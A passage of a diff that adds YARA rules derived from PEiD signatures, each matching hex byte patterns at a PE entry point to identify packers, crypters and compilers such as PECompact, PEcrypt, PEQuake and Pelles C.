+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 87 DD 8B 85 E6 90 40 01 85 33 90 40 66 C7 85 90 40 90 90 01 85 DA 90 40 01 85 DE 90 40 01 85 E2 90 40 BB 8B 11}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01583_PECompact_v1_68___v1_84_
+{
+    meta:
+        description = "[PECompact v1.68 - v1.84]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 87 DD 8B 85 E6 90 40 01 85 33 90 40 66 C7 85 90 40 90 90 01 85 DA 90 40 01 85 DE 90 40 01 85 E2 90 40 BB 7B 11}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01584_PECompact_v1_84_
+{
+    meta:
+        description = "[PECompact v1.84]"
+        ep_only = "true"
+    strings:
+        $a = {33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01585_PECompact_v2_0_beta____Jeremy_Collake_
+{
+    meta:
+        description = "[PECompact v2.0 beta -> Jeremy Collake]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 05 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 CC 90 90 90 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01586_PECompact_v2_00_alpha_38_
+{
+    meta:
+        description = "[PECompact v2.00 alpha 38]"
+        ep_only = "false"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 80 B8 BF 10 00 10 01 74 7A C6 80 BF 10 00 10 01 9C 55 53 51 57 52 56 8D 98 0F 10 00 10 8B 53 14 8B E8 6A 40 68 00 10 00 00 FF 73 04 6A 00 8B 4B 10 03 CA 8B 01 FF D0 8B F8 50 8B 33 8B 53 14 03 F2 8B 4B 0C 03 CA 8D 85 B7 10 00 10 FF 73 04 8F 00 50 57 56 FF D1 58 03 43 08 8B F8 8B 53 14 8B F0 8B 46 FC 83 C0 04 2B F0 89 56 08 8B 4B 10 89 4E 18 FF D7 89 85 BB 10 00 10 5E 5A 5F 59 5B 5D 9D FF E0 8B 80 BB 10 00 10 FF E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01587_PeCompact_v2_08____Bitsum_Technologies_signature_by_loveboom__
+{
+    meta:
+        description = "[PeCompact v2.08 -> Bitsum Technologies(signature by loveboom)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01588_PECompact_v2_0_
+{
+    meta:
+        description = "[PECompact v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01589_PECompact_v2_5_Retail__Slim_Loader_____Bitsum_Technologies_
+{
+    meta:
+        description = "[PECompact v2.5 Retail (Slim Loader) -> Bitsum Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? 01 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 32 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01590_PECompact_v2_5_Retail____Bitsum_Technologies_
+{
+    meta:
+        description = "[PECompact v2.5 Retail -> Bitsum Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? 01 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01591_PECompact_V2_X____Bitsum_Technologies_
+{
+    meta:
+        description = "[PECompact V2.X -> Bitsum Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01592_PECompact_v2_xx_
+{
+    meta:
+        description = "[PECompact v2.xx]"
+        ep_only = "false"
+    strings:
+        $a = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00}
+    condition:
+        $a
+}
+
+rule PEiD_01593_PeCompact2_2_53_2_76____BitSum_Technologies_
+{
+    meta:
+        description = "[PeCompact2 2.53-2.76 -> BitSum Technologies]"
+        ep_only = "false"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 55 53 51 57 56 52 8D 98 C9 11 00 10 8B 53 18 52 8B E8 6A 40 68 00 10 00 00 FF 73 04 6A 00 8B 4B 10 03 CA 8B 01 FF D0 5A 8B F8 50 52 8B 33 8B 43 20 03 C2 8B 08 89 4B 20 8B 43 1C 03 C2 8B 08 89 4B 1C 03 F2 8B 4B 0C 03 CA 8D 43 1C 50 57 56 FF}
+    condition:
+        $a
+}
+
+rule PEiD_01594_PECrc32_0_88____ZhouJinYu_
+{
+    meta:
+        description = "[PECrc32 0.88 -> ZhouJinYu]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED B6 A4 45 00 8D BD B0 A4 45 00 81 EF 82 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01595_PEcrypt___by_archphase_
+{
+    meta:
+        description = "[PEcrypt - by archphase]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 E0 53 56 33 C0 89 45 E4 89 45 E0 89 45 EC ?? ?? ?? ?? 64 82 40 00 E8 7C C7 FF FF 33 C0 55 68 BE 84 40 00 64 FF 30 64 89 20 68 CC 84 40 00 ?? ?? ?? ?? 00 A1 10 A7 40 00 50 E8 1D C8 FF FF 8B D8 85 DB 75 39 E8 3A C8 FF FF 6A 00 6A 00 68 A0 A9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01596_PEcrypt___by_archphase_
+{
+    meta:
+        description = "[PEcrypt - by archphase]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 E0 53 56 33 C0 89 45 E4 89 45 E0 89 45 EC ?? ?? ?? ?? 64 82 40 00 E8 7C C7 FF FF 33 C0 55 68 BE 84 40 00 64 FF 30 64 89 20 68 CC 84 40 00 ?? ?? ?? ?? 00 A1 10 A7 40 00 50 E8 1D C8 FF FF 8B D8 85 DB 75 39 E8 3A C8 FF FF 6A 00 6A 00 68 A0 A9 40 00 68 00 04 00 00 50 6A 00 68 00 13 00 00 E8 FF C7 FF FF 6A 00 68 E0 84 40 00 A1 A0 A9 40 00 50 6A 00 E8 ?? ?? ?? ?? E9 7D 01 00 00 53 A1 10 A7 40 00 50 E8 42 C8 FF FF 8B F0 85 F6 75 18 6A 00 68 E0 84 40 00 68 E4 84 40 00 6A 00 E8 71 C8 FF FF E9 53 01 00 00 53 6A 00 E8 2C C8 FF FF A3 ?? ?? ?? ?? 83 3D 48 A8 40 00 00 75 18 6A 00 68 E0 84 40 00 68 F8 84 40 00 6A 00 E8 43 C8 FF FF E9 25 01 00 00 56 E8 F8 C7 FF FF A3 4C A8 40 00 A1 48 A8 40 00 E8 91 A1 FF FF 8B D8 8B 15 48 A8 40 00 85 D2 7C 16 42 33 C0 8B 0D 4C A8 40 00 03 C8 8A 09 8D 34 18 88 0E 40 4A 75 ED 8B 15 48 A8 40 00 85 D2 7C 32 42 33 C0 8D 34 18 8A 0E 80 F9 01 75 05 C6 06 FF EB 1C 8D 0C 18 8A 09 84 ?? ?? ?? ?? ?? 00 EB 0E 8B 0D 4C A8 40 00 03 C8 0F B6 09 49 88 0E 40 4A 75 D1 8D ?? ?? ?? ?? E8 A5 A3 FF FF 8B 45 E8 8D 55 EC E8 56 D5 FF FF 8D 45 EC BA 18 85 40 00 E8 79 BA FF FF 8B 45 EC E8 39 BB FF FF 8B D0 B8 54 A8 40 00 E8 31 A6 FF FF BA 01 00 00 00 B8 54 A8 40 00 E8 12 A9 FF FF E8 DD A1 FF FF 68 50 A8 40 00 8B D3 8B 0D 48 A8 40 00 B8 54 A8 40 00 E8 56 A7 FF FF E8 C1 A1 FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01597_PEEncrypt_v4_0b__JunkCode__
+{
+    meta:
+        description = "[PEEncrypt v4.0b (JunkCode)]"
+        ep_only = "true"
+    strings:
+        $a = {66 ?? ?? 00 66 83 ?? 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01598_PEiD_Bundle_v1_00___v1_01____BoB___BobSoft_
+{
+    meta:
+        description = "[PEiD-Bundle v1.00 - v1.01 -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? 02 00 00 8B 44 24 04 52 48 66 31 C0 66 81 38 4D 5A 75 F5 8B 50 3C 81 3C 02 50 45 00 00 75 E9 5A C2 04 00 60 89 DD 89 C3 8B 45 3C 8B 54 28 78 01 EA 52 8B 52 20 01 EA 31 C9 41 8B 34 8A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01599_PEiD_Bundle_V1_00____BoB___BobSoft_
+{
+    meta:
+        description = "[PEiD-Bundle V1.00 -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 21 02 00 00 8B 44 24 04 52 48 66 31 C0 66 81 38 4D 5A 75 F5 8B 50 3C 81 3C 02 50 45 00 00 75 E9 5A C2 04 00 60 89 DD 89 C3 8B 45 3C 8B 54 28 78 01 EA 52 8B 52 20 01 EA 31 C9 41 8B 34 8A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01600_PEiD_Bundle_V1_01____BoB___BobSoft_
+{
+    meta:
+        description = "[PEiD-Bundle V1.01 -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 23 02 00 00 8B 44 24 04 52 48 66 31 C0 66 81 38 4D 5A 75 F5 8B 50 3C 81 3C 02 50 45 00 00 75 E9 5A C2 04 00 60 89 DD 89 C3 8B 45 3C 8B 54 28 78 01 EA 52 8B 52 20 01 EA 31 C9 41 8B 34 8A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01601_PEiD_Bundle_v1_02___v1_04____BoB___BobSoft_
+{
+    meta:
+        description = "[PEiD-Bundle v1.02 - v1.04 -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 ?? ?? ?? 2E ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 44}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01602_PEiD_Bundle_V1_02____BoB___BobSoft_
+{
+    meta:
+        description = "[PEiD-Bundle V1.02 -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 ?? ?? ?? 2E ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 44}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01603_PEiD_Bundle_V1_02_DLL____BoB___BobSoft_
+{
+    meta:
+        description = "[PEiD-Bundle V1.02 DLL -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 00 08 00 39 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01604_PEiD_Bundle_v1_04____BoB___BobSoft_
+{
+    meta:
+        description = "[PEiD-Bundle v1.04 -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 ?? ?? ?? 2E ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 44}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01605_Pelles_C_2_8_x_4_5_x____Pelle_Orinius_
+{
+    meta:
+        description = "[Pelles C 2.8.x-4.5.x -> Pelle Orinius]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01606_Pelles_C_2_80__2_90_EXE__X86_CRT_LIB__
+{
+    meta:
+        description = "[Pelles C 2.80 -2.90 EXE (X86 CRT-LIB)]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC ?? 83 EC ?? 53 56 57 89 65 E8 68 00 00 00 ?? E8 ?? ?? ?? ?? 59 A3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01607_Pelles_C_2_90_EXE__X86_CRT_LIB__
+{
+    meta:
+        description = "[Pelles C 2.90 EXE (X86 CRT-LIB)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC ?? 83 EC ?? 53 56 57 89 65 E8 68 00 00 00 02 E8 ?? ?? ?? ?? 59 A3}
+    condition:
+        $a
+}
+
+rule PEiD_01608_Pelles_C_2_90__3_00__4_00_DLL__X86_CRT_LIB__
+{
+    meta:
+        description = "[Pelles C 2.90, 3.00, 4.00 DLL (X86 CRT-LIB)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 53 56 57 8B 5D 0C 8B 75 10 BF 01 00 00 00 85 DB 75 10 83 3D ?? ?? ?? ?? 00 75 07 31 C0 E9 ?? ?? ?? ?? 83 FB 01 74 05 83 FB 02 75 ?? 85 FF 74}
+    condition:
+        $a
+}
+
+rule PEiD_01609_Pelles_C_2_x_4_x_DLL____Pelle_Orinius_
+{
+    meta:
+        description = "[Pelles C 2.x-4.x DLL -> Pelle Orinius]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 53 56 57 8B 5D 0C 8B 75 10}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01610_Pelles_C_3_00__4_00__4_50_EXE__X86_CRT_DLL__
+{
+    meta:
+        description = "[Pelles C 3.00, 4.00, 4.50 EXE (X86 CRT-DLL)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC ?? 53 56 57 89 65 E8 C7 45 FC ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 BE ?? ?? ?? ?? EB}
+    condition:
+        $a
+}
+
+rule PEiD_01611_Pelles_C_3_00__4_00__4_50_EXE__X86_CRT_LIB__
+{
+    meta:
+        description = "[Pelles C 3.00, 4.00, 4.50 EXE (X86 CRT-LIB)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC ?? 53 56 57 89 65 E8 68 00 00 00 02 E8 ?? ?? ?? ?? 59 A3}
+    condition:
+        $a
+}
+
+rule PEiD_01612_Pelles_C_4_50_DLL__X86_CRT_LIB__
+{
+    meta:
+        description = "[Pelles C 4.50 DLL (X86 CRT-LIB)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 53 56 57 8B 5D 0C 8B 75 10 85 DB 75 0D 83 3D ?? ?? ?? ?? 00 75 04 31 C0 EB 57 83 FB 01 74 05 83 FB 02 75}
+    condition:
+        $a
+}
+
+rule PEiD_01613_PELOCKnt_2_04_
+{
+    meta:
+        description = "[PELOCKnt 2.04]"
+        ep_only = "true"
+    strings:
+        $a = {EB 03 CD 20 C7 1E EB 03 CD 20 EA 9C EB 02 EB 01 EB 01 EB 60}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01614_PEMangle_
+{
+    meta:
+        description = "[PEMangle]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C BE ?? ?? ?? ?? 8B FE B9 ?? ?? ?? ?? BB 44 52 4F 4C AD 33 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01615_PEncrypt_1_0____JunkCode_
+{
+    meta:
+        description = "[PEncrypt 1.0 -> JunkCode]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C BE 00 10 40 00 8B FE B9 ?? ?? ?? ?? BB 78 56 34 12 AD 33 C3 AB E2 FA 9D 61 E9 ?? ?? ?? FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01616_PEncrypt_2_0____junkcode_
+{
+    meta:
+        description = "[PEncrypt 2.0 -> junkcode]"
+        ep_only = "true"
+    strings:
+        $a = {EB 25 00 00 F7 BF 00 00 00 00 00 00 00 00 00 00 12 00 E8 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 00 00 E8 00 00 00 00 5D 81 ED 2C 10 40 00 8D B5 14 10 40 00 E8 33 00 00 00 89 85 10 10 40 00 BF 00 00 40 00 8B F7 03 7F 3C 8B 4F 54 51 56 8D 85}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01617_PEncrypt_2_0____junkcode_
+{
+    meta:
+        description = "[PEncrypt 2.0 -> junkcode]"
+        ep_only = "true"
+    strings:
+        $a = {EB 25 00 00 F7 BF 00 00 00 00 00 00 00 00 00 00 12 00 E8 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 00 00 E8 00 00 00 00 5D 81 ED 2C 10 40 00 8D B5 14 10 40 00 E8 33 00 00 00 89 85 10 10 40 00 BF 00 00 40 00 8B F7 03 7F 3C 8B 4F 54 51 56 8D 85 23 10 40 00 50 6A 04 51 56 FF 95 10 10 40 00 5E 59 C6 06 00 46 E2 FA E9 AE 00 00 00 55 E8 00 00 00 00 5D 81 ED 77 10 40 00 8B D6 80 3E 00 74 03 46 EB F8 46 2B F2 8B CE 33 C0 66 89 85 06 10 40 00 8B B5 02 10 40 00 83 C6 3C 66 AD 03 85 02 10 40 00 8B 70 78 03 B5 02 10 40 00 83 C6 1C AD 03 85 02 10 40 00 89 85 08 10 40 00 AD 03 85 02 10 40 00 50 AD 03 85 02 10 40 00 89 85 0C 10 40 00 5E 56 AD 03 85 02 10 40 00 8B F0 8B FA 51 FC F3 A6 59 74 0D 5E 83 C6 04 66 FF 85 06 10 40 00 EB E0 5E 0F B7 85 06 10 40 00 D1 E0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01618_PEncrypt_v1_0_
+{
+    meta:
+        description = "[PEncrypt v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C BE 00 10 40 00 8B FE B9 28 03 00 00 BB 78 56 34 12 AD 33 C3 AB E2 FA 9D 61}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01619_PEncrypt_v3_0_
+{
+    meta:
+        description = "[PEncrypt v3.0]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5D 81 ED 05 10 40 00 8D B5 24 10 40 00 8B FE B9 0F 00 00 00 BB ?? ?? ?? ?? AD 33 C3 E2 FA}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01620_PEncrypt_v3_1_
+{
+    meta:
+        description = "[PEncrypt v3.1]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? 00 F0 0F C6}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01621_PEnguinCrypt_v1_0_
+{
+    meta:
+        description = "[PEnguinCrypt v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {B8 93 ?? ?? 00 55 50 67 64 FF 36 00 00 67 64 89 26 00 00 BD 4B 48 43 42 B8 04 00 00 00 CC 3C 04 75 04 90 90 C3 90 67 64 8F 06 00 00 58 5D BB 00 00 40 00 33 C9 33 C0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01622_PENightMare_2_Beta_
+{
+    meta:
+        description = "[PENightMare 2 Beta]"
+        ep_only = "true"
+    strings:
+        $a = {60 E9 ?? ?? ?? ?? EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01623_PENightMare_v1_3_
+{
+    meta:
+        description = "[PENightMare v1.3]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D B9 ?? ?? ?? ?? 80 31 15 41 81 F9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01624_PENinja_modified_
+{
+    meta:
+        description = "[PENinja modified]"
+        ep_only = "true"
+    strings:
+        $a = {5D 8B C5 81 ED B2 2C 40 00 2B 85 94 3E 40 00 2D 71 02 00 00 89 85 98 3E 40 00 0F B6 B5 9C 3E 40 00 8B FD}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01625_PENinja_
+{
+    meta:
+        description = "[PENinja]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01626_PEQuake_0_06_by_fORGAT_
+{
+    meta:
+        description = "[PEQuake 0.06 by fORGAT]"
+        ep_only = "false"
+    strings:
+        $a = {E8 A5 00 00 00 2D ?? 00 00 00 00 00 00 00 00 00 00 3D ?? 00 00 2D ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4A ?? 00 00 5B ?? 00 00 6E ?? 00 00 00 00 00 00 6B 45 72 4E 65 4C 33 32 2E 64 4C 6C 00 00 00 47 65 74 50 72 6F 63 41 64}
+    condition:
+        $a
+}
+
+rule PEiD_01627_PEQuake_0_06___forgat_
+{
+    meta:
+        description = "[PEQuake 0.06-> forgat]"
+        ep_only = "false"
+    strings:
+        $a = {E8 A5 00 00 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 3D ?? ?? 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4A ?? ?? 00 5B ?? ?? 00 6E ?? ?? 00 00 00 00 00 6B 45 72 4E 65 4C 33 32 2E 64 4C 6C 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 ?? ?? 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01628_PEQuake_V0_06____forgat_
+{
+    meta:
+        description = "[PEQuake V0.06 -> forgat]"
+        ep_only = "true"
+    strings:
+        $a = {E8 A5 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01629_PEQuake_v0_06____forgot_us__h__
+{
+    meta:
+        description = "[PEQuake v0.06 -> forgot/us (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 A5 00 00 00 2D ?? ?? ?? 00 00 00 00 00 00 00 00 3D ?? ?? ?? 2D ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 45 72 4E 65 4C 33 32 2E 64 4C 6C 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 ?? ?? 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 5D 81 ED 05 00 00 00 8D 75 3D 56 FF 55 31 8D B5 81 00 00 00 56 50 FF 55 2D 89 85 8E 00 00 00 6A 04 68 00 10 00 00 68 ?? ?? 00 00 6A 00 FF 95 8E 00 00 00 50 8B 9D 7D 00 00 00 03 DD 50 53 E8 04 00 00 00 5A 55 FF E2 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01630_PEQuake_v0_06_by_fORGAT_
+{
+    meta:
+        description = "[PEQuake v0.06 by fORGAT]"
+        ep_only = "false"
+    strings:
+        $a = {E8 A5 00 00 00 2D ?? 00 00 00 00 00 00 00 00 00 00 3D ?? 00 00 2D ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4A ?? 00 00 5B ?? 00 00 6E ?? 00 00 00 00 00 00 6B 45 72 4E 65 4C 33 32 2E 64 4C 6C 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 ?? ?? 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 5D 81 ED 05 00 00 00 8D 75 3D 56 FF 55 31 8D B5 81 00 00 00 56 50 FF 55 2D 89 85 8E 00 00 00 6A 04 68 00 10 00 00 68 ?? ?? 00 00 6A 00 FF 95 8E 00 00 00 50 8B 9D 7D 00 00 00 03 DD 50 53 E8 04 00 00 00 5A 55 FF E2 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB}
+    condition:
+        $a
+}
+
+rule PEiD_01631_PerlApp_6_0_2____ActiveState_
+{
+    meta:
+        description = "[PerlApp 6.0.2 -> ActiveState]"
+        ep_only = "false"
+    strings:
+        $a = {68 2C EA 40 00 FF D3 83 C4 0C 85 C0 0F 85 CD 00 00 00 6A 09 57 68 20 EA 40 00 FF D3 83 C4 0C 85 C0 75 12 8D 47 09 50 FF 15 1C D1 40 00 59 A3 B8 07 41 00 EB 55 6A 08 57 68 14 EA 40 00 FF D3 83 C4 0C 85 C0 75 11 8D 47 08 50 FF 15 1C D1 40 00 59 89 44 24 10 EB 33 6A 09 57 68 08 EA 40 00 FF D3 83 C4 0C 85 C0 74 22 6A 08 57 68 FC E9 40 00 FF D3 83 C4 0C 85 C0 74 11 6A 0B 57 68 F0 E9 40 00 FF D3 83 C4 0C 85 C0 75 55}
+    condition:
+        $a
+}
+
+rule PEiD_01632_PerlApp_6_0_2____ActiveState_
+{
+    meta:
+        description = "[PerlApp 6.0.2 -> ActiveState]"
+        ep_only = "false"
+    strings:
+        $a = {68 9C E1 40 00 FF 15 A4 D0 40 00 85 C0 59 74 0F 50 FF 15 1C D1 40 00 85 C0 59 89 45 FC 75 62 6A 00 8D 45 F8 FF 75 0C F6 45 14 01 50 8D 45 14 50 E8 9B 01 00 00 83 C4 10 85 C0 0F 84 E9 00 00 00 8B 45 F8 83 C0 14 50 FF D6 85 C0 59 89 45 FC 75 0E FF 75 14 FF 15 78 D0 40 00 E9 C9 00 00 00 68 8C E1 40 00 FF 75 14 50}
+    condition:
+        $a
+}
+rule PEiD_01633_PESHiELD_v0_2___v0_2b___v0_2b2_
+{
+    meta:
+        description = "[PESHiELD v0.2 / v0.2b / v0.2b2]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 41 4E 41 4B 49 4E 5D 83 ED 06 EB 02 EA 04}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01634_PESHiELD_v0_251_
+{
+    meta:
+        description = "[PESHiELD v0.251]"
+        ep_only = "true"
+    strings:
+        $a = {5D 83 ED 06 EB 02 EA 04 8D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01635_PESHiELD_v0_25_
+{
+    meta:
+        description = "[PESHiELD v0.25]"
+        ep_only = "true"
+    strings:
